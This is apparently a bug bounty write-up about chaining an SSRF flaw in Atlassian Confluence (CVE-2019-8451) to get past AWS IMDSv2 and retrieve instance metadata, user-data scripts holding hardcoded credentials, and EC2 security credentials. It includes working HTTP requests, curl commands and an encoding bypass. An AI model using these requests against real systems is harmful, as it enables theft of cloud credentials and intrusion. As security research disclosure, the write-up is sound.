The CapitalOne security breach back in 2019 was quite an interesting incident that made news headlines as the attackers were able to leak customers’ PII as well as credit card information.
The attackers took advantage of an SSRF (Server-Side Request Forgery) vulnerability to gain unauthorized access to their AWS infrastructure but before this incident, exploiting this class of vulnerability to exfiltrate AWS security credentials was almost straightforward since organizations relied on EC2 Instance Metadata Service v1 (IMDSv1) which is less secure as it allows reaching the metadata endpoint located at
http://169.254.169.254 with a simple
GET request within the instance.
Since then, AWS has decided to roll out IMDSv2 as an in-depth defense to reduce the likelihood of a successful SSRF exploitation against this endpoint, so now it only accepts authenticated requests and works as follows:
Essentially, you will need to send a
PUT request to
http://169.254.169.254/latest/api/token with the following header
X-aws-ec2-metadata-token-ttl-seconds: 21600, then you’ll receive a session token that’s valid for up to 6 hours (21600 seconds) which can be used as many times as you want but only from the same EC2 instance where that session began.
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
Next, you can request the metadata endpoint
http://169.254.169.254/latest/meta-data/profile by sending the following HTTP header:
X-aws-ec2-metadata-token: $TOKEN along with the request and appending by appending the session token to it ($TOKEN).
curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"
As you might have experienced yourself, the majority of SSRF vulnerabilities are limited to a GET request so this is supposed to make it fairly difficult and challenging to exploit them unless the attacker has full control over the HTTP method and HTTP headers.
Thái Vũ and I were collaborating on this bug bounty program for which the initial subdomains reconnaissance identified a couple of Atlassian Confluence instances.
http://confluence.dev.████████.com http://confluence.production.dev.████████.com http://confluencesecurity.staging.dev.████████.com
We’re going to use all these instances interchangeably throughout this post but we confirmed they were all vulnerable to CVE-2019-8451 using Burpsuite Collaborator as follows:
POST /plugins/servlet/gadgets/makeRequest?url=http://03jve28sg5djvfbj9f00xzjogz.burpcollaborator.net/ HTTP/1.1 Host: confluence.dev.████████.com User-Agent: Mozilla/5.0 Accept: */* X-Atlassian-Token: no-check Content-Length: 322 Content-Type: application/x-www-form-urlencoded Connection: close
And we got a hit:
The next step was to find a way to reach their internal network but that was fortunately straightforward by pointing URL to
127.0.0.1 and running Burp Intruder on the port part to enumerate all the available services they might be using internally. It turned out there wasn’t much as we only found two open ports:
Nginx web server and proxy running on port
and the confluence instance itself running on port
We went ahead and confirmed the host was running on AWS infrastructure as you can see below:
so, we naturally attempted to reach AWS metadata endpoint by pointing the URL to
http://169.254.169.254/ but that didn’t work as it returned
401 - unauthorized status.
It was obvious that the endpoint is indeed accessible but requires some sort of authentication so after some research we concluded that they’re most certainly using
IMDSv2 as we aforementioned.
Initially, we thought we hit a dead-end and considered submitting it as P3 at best but we decided to dig a bit further and figure out if there is any way we can control the HTTP request.
Atlassian gadgets use the new Google gadgets.* API defined by the OpenSocial specification so to load dynamic data into the gadget, you will make Ajax calls using
gadgets.io.makeRequest() to the remote server - it appears this endpoint takes in various other parameters such as:
headers to name a few.
This is everything we needed to make our exploit work so the next step was to leverage these parameters in order to retrieve the session token, so we sent a
http://169.254.169.254/latest/api/token along with
X-aws-ec2-metadata-token-ttl-seconds: 21600 header as mentioned earlier. See:
The session token was successfully returned and now it’s time to use it to send an authenticated request to access the metadata endpoint. We found out that
makeRequest was accepting POST request too so we did something like this:
POST /plugins/servlet/gadgets/makeRequest HTTP/1.1 Host: confluence.dev.████████.com User-Agent: Mozilla/5.0 Accept: */* X-Atlassian-Token: no-check Content-Length: 322 Content-Type: application/x-www-form-urlencoded Connection: close url=http://169.254.169.254/latest/meta-data&httpMethod=GET&headers=X-aws-ec2-metadata-token=AQAEAH7TsExwreOTsHbZjebiYB7ypANA_l6JycUp2g0hDYNN9-kucA==
But this wasn’t working for some reason as it’s still returning
401 so we figured the base64
== at the end of the token might be causing the issue which we confirmed to be stripped out in the request when we tried it against our collaborator endpoint. See:
So we URL-encoded and still didn’t work, we double URL-encoded it then it worked this time and we had the meta-data content returned:
That was such a relief! we also requested
http://169.254.169.254/latest/user-data and found a bash script used to automate the installation and deployment of these confluence instances and it surprisingly contained a good amount of hardcoded credentials for PostgreSQL database on AWS RDS, Tenable Nessus agent`, Hibernate connection password, etc.
This is a pretty bad security practice which AWS itself advises against since credentials hosted on the metadata endpoint should be shortlived and expire after a period of time.
Then, to finalize the proof of concept, we naturally had to exfiltrate the EC2 security credentials from
http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance before writing up and submitting the report.
If you want to go further, you can validate and enumerate all the other AWS services and permissions these security credentials have access to by using ScoutSuite auditing tool for instance.